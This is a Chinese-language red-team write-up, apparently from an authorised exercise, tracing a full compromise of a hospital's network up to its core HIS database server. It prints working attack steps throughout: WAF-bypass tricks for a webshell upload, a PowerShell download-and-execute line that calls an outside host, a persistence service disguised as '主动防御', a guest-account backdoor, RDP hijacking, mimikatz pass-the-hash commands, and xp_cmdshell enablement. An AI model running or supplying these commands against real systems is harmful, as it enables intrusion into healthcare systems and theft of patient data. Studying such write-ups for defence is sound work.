前言
记录之前参加演练的一次实战过程。
演练目标
拿下某医院核心his权限
web打点
拿到目标,通过信息收集尽可能多的寻找目标资产,最终发现了存在漏洞的某系统,通过该系统进入内网。
用户枚举漏洞
登录处存在用户枚举漏洞
返回包可以看到该帐号的功能,所属的科室等信息。
弱口令漏洞
通过对枚举得到的用户进行弱口令爆破,成功登陆了某医生的账户。
该账户只有一个体检预约管理的功能,经过测试无法直接getshell。
越权漏洞
观察当前url地址,发现存在usersysid和deptid两个参数,usersysid为当前用户名,deptid恰好可以通过用户枚举得到,因此可能存在越权漏洞。
经过测试发现可以通过修改参数进行越权,大部分为普通用户,经过反复尝试发现269用户权限比较高,尝试替换usersysid和deptid进行越权。
成功访问到该帐号的功能模块。
文件上传漏洞
对高权限用户的功能模块进行测试,发现上传点。
网站存在某种waf,常规webshell无法直接上传,尝试进行bypass。
最终绕过waf成功上传webshell,对数据包进行了4次处理。
1、"boundary="后面加tab键
2、使用asHX后缀
3、删除"Content-type:"后面的类型信息
4、正常图片文件的内容开头
成功得到目标webshell,web打点结束。
内网横向
上线cs
目前只有一个webshell命令执行权限,为了后续横向,尝试利用cs进行多人运动~
首先查看目标主机是否出网,和安装的杀软情况。
通过ping命令确定目标出网。
通过tasklist命令查看是否运行杀软
https://maikefee.com/av_list
未发现存在杀软
系统版本为server2012,尝试直接运行powershell命令上线cs。
powershell.exe IEX ((new-object net.webclient).downloadstring('http:x.x.x.x:xx/x'))
cs成功上线,当前为iis权限,直接使用梼杌的提权插件。选择使用烂土豆提权server2012
https://github.com/pandasec888/taowu-cobalt-strike
成功提升至system权限。
权限维持
目前已经得到了system权限,为了防止webshell被删,服务器重启,web服务关闭等问题,需要做一下权限维持。
https://www.jianshu.com/p/f3f3d4d34701
我常用的把powershell上线cs的命令注册成服务,每次开机执行。(容易被发现,追求隐蔽性不推荐该方法)
创建一个名为主动防御的服务。
sc create "主动防御" binpath= "cmd /c start powershell.exe IEX (new-object net.webclient).downloadstring('http://x.x.x.x/a')"
设置为自动运行
sc config "主动防御" start= auto
演练结束删除服务。
sc delete "主动防御"
激活guest用户
net user guest /active:yes
net user guest Qax@123
net localgroup administrators guest /add
搭建隧道
可以选择 nps和frp
我使用是nps代理
优点: 稳定,速度快,管理方便
缺点:扫描内网主机端口全部开放(不知道是不是我nps版本的问题)
创建客户端
上传服务端到目标服务器执行
npc.exe -server=x.x.x.x:xxx -vkey=xxxxxx -type=tcp
使用Proxifier代入内网。
RDP登陆
有时候我们需要登陆管理员用户方便进行信息收集。
目标为server2012 mimikatz默认无法读取明文密码,因此在ntml hash解不开的情况下,我们可以尝试2种方法进行登陆。
1、RDP劫持
登陆激活的guest用户,执行命令,劫持administrator
query user
sc create tide binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4" #1为目标会话id和当前会话名
net start tide
2、pth登录远程rdp
对于server 2012系统,直接使用mimikatz传递ntlm hash值登录
privilege::debug
sekurlsa::pth /user:administrator /domain:127.0.0.1 /ntlm:32ed87bdb5fdc5e9cba88547376818d4 "/run:mstsc.exe /restrictedadmin"
win10系统报错
需要修改注册表
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
重新登录
privilege::debug
sekurlsa::pth /user:administrator /domain:127.0.0.1 /ntlm:32ed87bdb5fdc5e9cba88547376818d4 "/run:mstsc.exe /restrictedadmin"
!!!登陆前使用命令查看管理员是否在线。
query user
这里选择使用RDP劫持的方式登陆了administrator用户。
内网信息收集
具体信息收集的过程不再描述,通过内网信息收集,发现了数据库连接配置文件,包含his,lis等核心数据库。
解密his数据库连接信息,发现目标为sql server数据库。
数据库服务器和当前跳板机为2个不同b段。
获取核心his权限
利用得到的账户密码直接登陆his数据库。
尝试使用xp_cmdshell执行系统命令。
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
exec master..xp_cmdshell "whoami"
成功拿到his数据库服务器权限。
目标不出网,且无法ping通跳板机。
证实了该服务器为his服务器,且该网段为核心内网。至此达到演练目标。
扩展
目前只能通过数据库来执行系统命令,尝试上线到cs上。
该his服务器不通外网,且不通跳板机所在的网段。
反向连接失效,尝试使用正向连接,上线目标服务器到cs。
cs新建一个监听器,选择beacon-tcp,执行后本地开放一个端口
生成一个无状态的可执行木马文件,选择对应的监听器。
上传木马文件到目标主机~
这里遇到了困难,目标不出网,且不通当前跳板机,只有cmd命令行的情况下,无法直接上传。
解决方法:目标开放了iis服务,向iis服务网站目录下 echo一个apsx一句话木马,然后通过webshell上传可执行exe文件。
利用SQL TOOLS可以直观的寻找目标网站目标,然后echo写入木马。
使用webshell上传exe并且执行。
执行后会本地开放一个8877端口。
在跳板机的cs会话中执行:
connect x.x.x.x 8877
去正向连接目标开放的8877端口。
成功通过多层内网上线了目标主机。
总结
不算复杂的一次内网实战过程,知识又增加了。